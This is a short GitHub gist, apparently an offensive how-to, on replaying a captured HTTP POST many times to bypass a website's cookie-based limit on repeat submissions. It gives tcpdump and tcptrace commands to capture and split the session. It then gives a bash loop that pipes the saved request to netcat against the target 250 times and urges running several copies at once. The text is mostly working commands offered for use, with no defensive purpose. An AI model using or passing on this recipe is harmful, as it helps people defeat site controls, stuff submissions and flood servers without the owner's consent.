Skip to content

Instantly share code, notes, and snippets.

@chosenonehacks
Created September 12, 2017 08:42
Show Gist options
  • Save chosenonehacks/f4bd464f0129048f2d892634e7497251 to your computer and use it in GitHub Desktop.
Save chosenonehacks/f4bd464f0129048f2d892634e7497251 to your computer and use it in GitHub Desktop.
HTTP POST replay with NetCat
So the story goes you want to “submit” (HTTP POST) the same thing to a web site a bunch of times and the only control the genius web designer put in your way was a cookie.
Here is how ya do it.
Start up your web browser
Navigate to the URL
Delete ALL cookies
Open a shell (Bash or whatever)
Start tcpdump
tcpdump -i wlan0 dst port 80 -w replay.cap
Go back to the web page and go through the actions to submit whatever it is that you want
Go back to the shell and CTRL C to stop the dump
Separate the sessions in the pcap
tcptrace –output_dir=/root/ -e replay.cap
Now sort through all the files created for the HTTP POST
Write up the bash script
#!/bin/bash
x=0
while [ $x -le 250 ]; do
cat a2b_contents.dat | nc www.thehost.com 80
x=$(( $x + 1 ))
done
Kick ‘er off!
Run multiple instances of the script if you have the bandwidth
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment